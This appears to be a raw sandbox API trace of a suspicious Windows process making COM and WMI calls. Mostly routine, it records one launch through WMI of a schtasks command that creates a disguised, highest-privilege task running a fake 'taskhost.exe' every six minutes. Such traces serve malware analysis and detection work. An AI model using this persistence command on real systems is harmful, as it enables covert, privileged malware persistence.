Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc6f540) returned 0x0 [0143.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f540, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0143.079] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f540, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bcda720) returned 0x0 [0143.079] WbemDefPath:IUnknown:Release (This=0x1bc6f540) returned 0x0 [0143.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda720, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bcda720) returned 0x0 [0143.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda720, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0143.079] WbemDefPath:IUnknown:AddRef (This=0x1bcda720) returned 0x3 [0143.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda720, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0143.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda720, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0143.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda720, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc6f580) returned 0x0 [0143.079] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f580, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.079] WbemDefPath:IUnknown:Release (This=0x1bc6f580) returned 0x3 [0143.079] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0143.079] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0143.080] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda720, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0143.080] WbemDefPath:IUnknown:Release (This=0x1bcda720) returned 0x2 [0143.080] WbemDefPath:IUnknown:Release (This=0x1bcda720) returned 0x1 [0143.080] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0143.080] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0143.080] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda720, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bcda720) returned 0x0 [0143.080] WbemDefPath:IUnknown:AddRef (This=0x1bcda720) returned 0x3 [0143.080] WbemDefPath:IUnknown:Release (This=0x1bcda720) returned 0x2 [0143.080] WbemDefPath:IWbemPath:SetText (This=0x1bcda720, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0143.080] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda360, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0143.080] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda360, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0143.080] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda360, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0143.080] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0143.080] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0143.080] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0143.080] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.082] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc6f4c0) returned 0x0 [0143.082] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f4c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0143.082] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f4c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcda7e0) returned 0x0 [0143.082] WbemDefPath:IUnknown:Release (This=0x1bc6f4c0) returned 0x0 [0143.082] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda7e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcda7e0) returned 0x0 [0143.082] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda7e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0143.083] WbemDefPath:IUnknown:AddRef (This=0x1bcda7e0) returned 0x3 [0143.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda7e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0143.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda7e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0143.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda7e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc6f500) returned 0x0 [0143.083] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f500, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.083] WbemDefPath:IUnknown:Release (This=0x1bc6f500) returned 0x3 [0143.083] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0143.083] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0143.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda7e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0143.083] WbemDefPath:IUnknown:Release (This=0x1bcda7e0) returned 0x2 [0143.083] WbemDefPath:IUnknown:Release (This=0x1bcda7e0) returned 0x1 [0143.083] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0143.083] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0143.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda7e0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcda7e0) returned 0x0 [0143.083] WbemDefPath:IUnknown:AddRef (This=0x1bcda7e0) returned 0x3 [0143.083] WbemDefPath:IUnknown:Release (This=0x1bcda7e0) returned 0x2 [0143.083] WbemDefPath:IWbemPath:SetText (This=0x1bcda7e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0143.083] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda720, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0143.083] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda7e0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda7e0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda7e0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0143.084] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bcda720) returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda7e0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcda7e0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcda7e0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0143.084] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcda720, uIndex=0x0, pszName="root") returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcda7e0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcda7e0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0143.084] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcda720, uIndex=0x1, pszName="cimv2") returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcda7e0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcda7e0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcda720, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcda720, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcda720, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda360, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda360, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda360, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda360, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda360, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda360, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda720, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda720, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda720, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda720, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0143.084] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda720, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0143.085] IWbemServices:GetObject (in: This=0x1bb81560, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1aa27ad0, ppCallResult=0x0) returned 0x0 [0143.088] IWbemClassObject:GetMethod (in: This=0x1aa27ad0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1aa27e40, ppOutSignature=0x1bb7e690*=0x1aa281b0) returned 0x0 [0143.088] IWbemClassObject:SpawnInstance (in: This=0x1aa27e40, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa1aac0) returned 0x0 [0143.089] IWbemClassObject:Get (in: This=0x1aa1aac0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754d18*=0, plFlavor=0x2754d1c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754d18*=8, plFlavor=0x2754d1c*=32) returned 0x0 [0143.089] IWbemClassObject:Get (in: This=0x1aa1aac0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754d18*=8, plFlavor=0x2754d1c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754d18*=8, plFlavor=0x2754d1c*=32) returned 0x0 [0143.089] IWbemClassObject:Put (This=0x1aa1aac0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"taskhostt\" /sc MINUTE /mo 6 /tr \"'C:\\Program Files\\Reference Assemblies\\taskhost.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0143.089] IWbemClassObject:Get (in: This=0x1aa1aac0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754da8*=0, plFlavor=0x2754dac*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754da8*=13, plFlavor=0x2754dac*=32) returned 0x0 [0143.089] IWbemClassObject:Get (in: This=0x1aa1aac0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754da8*=13, plFlavor=0x2754dac*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754da8*=13, plFlavor=0x2754dac*=32) returned 0x0 [0143.089] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1aa273f0) returned 0x0 [0143.089] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0143.089] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0143.090] IUnknown:AddRef (This=0x1aa273f0) returned 0x3 [0143.090] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0143.090] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0143.090] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1aa273f8) returned 0x0 [0143.090] IMarshal:GetUnmarshalClass (in: This=0x1aa273f8, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0143.090] IUnknown:Release (This=0x1aa273f8) returned 0x3 [0143.090] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0143.090] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0143.090] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0143.090] IUnknown:Release (This=0x1aa273f0) returned 0x2 [0143.090] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0143.090] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0143.090] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0143.091] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0143.091] IUnknown:QueryInterface (in: This=0x1aa273f0, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0143.091] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0143.091] IUnknown:AddRef (This=0x1aa273f0) returned 0x3 [0143.091] IWbemClassObject:Put (This=0x1aa1aac0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1aa273f0, varVal2=0x0), Type=0) returned 0x0 [0143.091] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda420, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0143.091] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda420, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0143.093] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda420, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0143.093] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda360, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0143.093] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda360, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0143.094] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda360, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0143.094] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda420, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0143.094] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda420, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 